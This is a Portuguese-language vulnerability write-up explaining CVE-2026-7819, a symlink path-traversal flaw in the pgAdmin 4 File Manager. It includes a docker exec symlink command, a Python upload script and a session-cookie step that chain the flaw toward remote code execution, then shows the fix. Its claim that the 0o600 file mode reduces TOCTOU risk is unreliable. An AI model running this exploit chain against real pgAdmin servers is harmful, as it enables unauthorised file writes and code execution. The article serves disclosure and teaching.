CVE-2026-7819 — Escrita arbitrária de arquivos via symlink no File Manager do pgAdmin 4
1. Introdução
Esse artigo faz parte de uma série sobre as vulnerabilidades que reportei no pgAdmin 4. Se você ainda não leu o artigo introdutório, recomendo começar por ele.
A CVE-2026-7819 é uma falha de path traversal via link simbólico no File Manager do pgAdmin 4, com CVSS 8.1 (Alta). O que torna essa falha interessante é o detalhe sutil que a causa: a diferença entre os.path.abspath e os.path.realpath em Python. São duas funções com nomes parecidos que parecem fazer a mesma coisa, mas têm um comportamento completamente diferente quando links simbólicos estão no caminho.
Esse descompasso é a vulnerabilidade: o pgAdmin usava abspath para verificar se um caminho estava dentro do diretório permitido, mas o kernel do sistema operacional usa realpath implicitamente ao escrever o arquivo — e o kernel segue links simbólicos. Resultado: o check de segurança aprovava um caminho que a escrita efetiva enviava para outro lugar.
Aviso: o conteúdo aqui é exclusivamente educacional. A falha já foi corrigida na versão 9.15 do pgAdmin 4.
2. O File Manager do pgAdmin
O pgAdmin tem um gerenciador de arquivos acessível a usuários autenticados. Ele permite navegar, criar, renomear e fazer upload de arquivos dentro do diretório de storage do usuário — por padrão em /var/lib/pgadmin/storage/<email_hash>/.
Para garantir que usuários não escapem do próprio diretório, o código usa a função check_access_permission:
# web/pgadmin/misc/file_manager/__init__.py — antes da correção
@staticmethod
def check_access_permission(in_dir, path, skip_permission_check=False):
orig_path = os.path.abspath(path) # resolve '..' mas NÃO symlinks
if skip_permission_check:
return orig_path
# Verificar se o caminho resolvido está dentro de in_dir
if not orig_path.startswith(in_dir):
raise PermissionError("Permission denied: access outside storage")
return orig_path
E a escrita do arquivo de upload:
# Trecho simplificado do upload — antes da correção
def save_file(in_dir, path, fileobj):
target = Filemanager.check_access_permission(in_dir, path)
with open(target, 'wb') as f: # open() segue symlinks
shutil.copyfileobj(fileobj, f)
3. O problema: abspath vs realpath
A diferença entre as duas funções é crítica:
| Função | O que resolve | Segue symlinks? |
|---|---|---|
os.path.abspath(p) |
componentes .. e . |
Não |
os.path.realpath(p) |
componentes .. e . + links simbólicos |
Sim |
Exemplo prático:
import os
# Estrutura: /var/lib/pgadmin/storage/admin/link → /var/lib/pgadmin/sessions/
path = "/var/lib/pgadmin/storage/admin/link/evil_file"
print(os.path.abspath(path))
# → /var/lib/pgadmin/storage/admin/link/evil_file
# (não resolveu o symlink — check passa)
print(os.path.realpath(path))
# → /var/lib/pgadmin/sessions/evil_file
# (resolveu o symlink — destino real fora do storage)
check_access_permission usava abspath, então via /var/lib/pgadmin/storage/admin/link/evil_file a verificação aprovava o caminho porque abspath o enxerga como dentro do storage. Mas o open() chamado depois usava o sistema operacional, que segue o symlink e escreve em /var/lib/pgadmin/sessions/evil_file.
4. O ambiente de laboratório
services:
pgadmin:
image: dpage/pgadmin4:9.14
environment:
PGADMIN_DEFAULT_EMAIL: admin@lab.dev
PGADMIN_DEFAULT_PASSWORD: Admin@2024!
PGADMIN_CONFIG_SERVER_MODE: "True"
ports:
- "5050:80"
volumes:
- pgadmin_data:/var/lib/pgadmin
5. Explorando a falha
5.1 Plantando o link simbólico
Para plantar o link simbólico no diretório do usuário, precisamos de acesso ao container — mas em cenários reais, o pgAdmin tem uma funcionalidade de criar diretórios via File Manager. O simples de demonstrar é via docker exec:
# Criar symlink dentro do storage do usuário apontando para o diretório de sessões
docker exec pgadmin4_container sh -c \
"ln -s /var/lib/pgadmin/sessions /var/lib/pgadmin/storage/admin_lab.dev/sessions_link"
5.2 Fazendo upload através do symlink
Com o link no lugar, o upload de arquivo via API do File Manager passa pelo check_access_permission com um caminho que parece estar dentro do storage do usuário:
import requests
import re
import io
TARGET = "http://localhost:5050"
s = requests.Session()
# 1. Login
csrf_r = s.get(f"{TARGET}/login")
csrf = re.search(r'"csrfToken"\s*:\s*"([^"]+)"', csrf_r.text).group(1)
s.post(f"{TARGET}/authenticate/login",
headers={"X-pgA-CSRFToken": csrf},
data={"email": "admin@lab.dev", "password": "Admin@2024!", "csrf_token": csrf},
allow_redirects=False)
auth_csrf_r = s.get(f"{TARGET}/browser/js/utils.js")
auth_csrf = re.search(
r"pgAdmin\['csrf_token'\]\s*=\s*'([^']+)'",
auth_csrf_r.text
).group(1)
# 2. Upload de arquivo malicioso através do symlink
# O caminho "sessions_link/evil_session" passa no check (abspath não resolve symlink)
# mas é escrito em /var/lib/pgadmin/sessions/evil_session pelo kernel
evil_content = build_malicious_pickle() # veja CVE-2026-7818 para o payload
s.post(f"{TARGET}/file_manager/filemanager",
headers={"X-pgA-CSRFToken": auth_csrf},
data={
"req": '{"action": "upload", "path": "/sessions_link/", "name": "evil_session"}',
},
files={"upload_files": ("evil_session", evil_content, "application/octet-stream")})
5.3 O resultado
O arquivo foi escrito em /var/lib/pgadmin/sessions/evil_session, fora do diretório do usuário. Combinado com a CVE-2026-7818, o passo seguinte seria disparar a desserialização desse arquivo com uma requisição usando Cookie: pga4_session=evil_session!x.
Essa é a cadeia completa: symlink via File Manager → escrita no diretório de sessões → desserialização pickle → RCE.
6. A correção
A correção usou os.path.realpath em vez de os.path.abspath na função check_access_permission, garantindo que links simbólicos fossem resolvidos antes de qualquer comparação de path:
# Depois da correção
@staticmethod
def check_access_permission(in_dir, path, skip_permission_check=False):
orig_path = os.path.realpath(path) # agora resolve symlinks também
if skip_permission_check:
return orig_path
in_dir = os.path.realpath(in_dir) # garantir que in_dir também é resolvido
if not orig_path.startswith(in_dir):
raise PermissionError("Permission denied: access outside storage")
return orig_path
Além disso, a função de abertura de arquivo para upload foi reescrita com O_NOFOLLOW, que instrui o kernel a não seguir symlinks no componente final do caminho:
# _open_upload_target — adicionado na correção
def _open_upload_target(path):
"""Abre o arquivo de destino para escrita sem seguir symlinks."""
flags = (
os.O_WRONLY
| os.O_CREAT
| os.O_TRUNC
| getattr(os, 'O_NOFOLLOW', 0) # O_NOFOLLOW não existe no Windows
)
fd = os.open(path, flags, 0o600) # modo endurecido de 0o644 para 0o600
return os.fdopen(fd, 'wb')
A mudança de 0o644 para 0o600 no modo do arquivo também reduz a janela de TOCTOU no componente final do caminho, limitando leitura do arquivo ao próprio processo.
Referência: pgadmin4#9902